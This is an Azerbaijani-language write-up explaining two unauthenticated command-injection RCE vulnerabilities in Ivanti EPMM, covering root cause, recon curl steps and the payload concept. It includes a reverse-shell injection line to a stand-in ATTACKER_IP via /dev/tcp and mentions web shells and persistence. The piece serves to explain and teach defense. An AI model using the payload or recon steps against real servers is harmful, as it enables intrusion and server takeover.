Ivanti Endpoint Manager Mobile (EPMM) üçün iki kritik code injection → Remote Code Execution (RCE) boşluğu aşkar olunub. Hər iki CVE unauthenticated işləyir və CVSS 9.8 səviyyəsindədir.

Root Cause

Problem EPMM-in bəzi server-side API modullarında input validation olmaması ilə bağlıdır.

Server HTTP request-dən gələn parametrləri birbaşa sistem əmrinə əlavə edib icra edir. Bu klassik CWE-94: Code Injection nümunəsidir.

Sadələşdirilmiş backend davranışı belə təsəvvür oluna bilər:

server_process(user_input) {
    system("/usr/bin/do_something " + user_input);
}

Burada user_input filtrsiz istifadə olunur. Əgər attacker belə input göndərsə:

arg1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

server əvvəl normal əmri, sonra isə attacker-in shell komandası icra edir.

Attack Flow (texniki baxış)

Real exploit zamanı attacker:

  1. Public exposed EPMM servisini aşkar edir
  2. Zəif API endpoint-i müəyyən edir
  3. Parametrə shell payload yerləşdirir
  4. Server tərəfdə RCE əldə edir

Backend tərəfdə problem bu pattern-dən yaranır:

process_request(http_param) {
    cmd = "/usr/bin/feature_handler " + http_param;
    exec(cmd);   // sanitization yoxdur
}

Server daxil olan string-i data kimi yox, komanda kimi icra edir.

Recon mərhələsi

İlk addım exposed EPMM servisini tapmaqdır:

curl -k -I https://TARGET:PORT/

Sonra API surface yoxlanılır:

curl -k https://TARGET:PORT/mifs/

Burada məqsəd directory listing yox, reachable API paths və cavab davranışını müşahidə etməkdir.

Parametr injection testləri belə aparılır:

curl -k "https://TARGET/.../?param=test"

Əgər server cavabı parametrə görə dəyişirsə, bu injection üçün giriş nöqtəsi ola bilər.

Exploit konsepti

Command injection zamanı attacker parametrə shell operatorları yerləşdirir:

; && | `

Payload konsepti belə görünür:

param=value; <attacker command>

Server bu string-i shell vasitəsilə icra etdiyindən attacker RCE əldə edir.

Real exploitlərdə adətən:

  • reverse shell
  • web shell drop
  • persistence mexanizmləri

istifadə olunur.

Nəticə

Bu tip zəifliklər çox vaxt sadə input validation səhvlərindən yaranır:

  • shell escaping yoxdur
  • parametr whitelist edilmir
  • user input birbaşa system() funksiyasına ötürülür

Bu isə enterprise səviyyəli sistemdə tam server kompromatına səbəb olur.

CVE-2026–1281 və CVE-2026–1340 göstərir ki, bəzən ən kritik RCE-lər belə elementar filtrasiya səhvlərindən yaranır.